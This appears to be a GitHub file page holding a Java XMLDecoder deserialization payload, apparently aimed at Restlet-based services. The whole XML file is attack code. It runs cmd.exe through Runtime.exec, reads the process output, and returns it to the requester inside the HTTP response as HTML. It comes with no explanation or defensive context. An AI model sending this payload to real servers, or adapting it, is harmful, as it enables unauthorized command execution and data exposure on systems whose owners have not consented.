Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
47 lines (43 sloc) 1.49 KB
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object id="runtime" class="java.lang.Runtime" method="getRuntime">
<void id="process" method="exec">
<string>c:\\windows\\system32\cmd.exe</string>
</void>
</object>
<object idref="process">
<void id="inputStream" method="getInputStream"/>
</object>
<object id="inputStreamReader" class="java.io.InputStreamReader">
<object idref="inputStream"/>
</object>
<object id="bufferedReader" class="java.io.BufferedReader">
<object idref="inputStreamReader"/>
</object>
<object idref="bufferedReader">
<void id="line1" method="readLine"/>
</object>
<object idref="bufferedReader">
<void id="line2" method="readLine"/>
</object>
<string id="cmdOutput">
<object idref="line1"/>
<object idref="line2"/>
</string>
<string id="response">
&lt;h2/&gt;javaObjects:&lt;/h2/&gt;
java.lang.Runtime: <object idref="runtime"/> &lt;br/&gt;
java.lang.Process: <object idref="process"/> &lt;br/&gt;
java.io.InputStream: <object idref="inputStream"/> &lt;br/&gt;
java.io.InputStreamReader: <object idref="inputStreamReader"/> &lt;br/&gt;
java.io.BufferedReader: <object idref="bufferedReader"/> &lt;br/&gt;
&lt;h2/&gt;Cmd Output:&lt;/h2/&gt;
<object idref="cmdOutput"/>
</string>
<object class="org.restlet.Response" method="getCurrent">
<void method ="setEntity">
<object idref = "response"/>
<object class = "org.restlet.data.MediaType" field="TEXT_HTML"></object>
</void>
</object>
</java>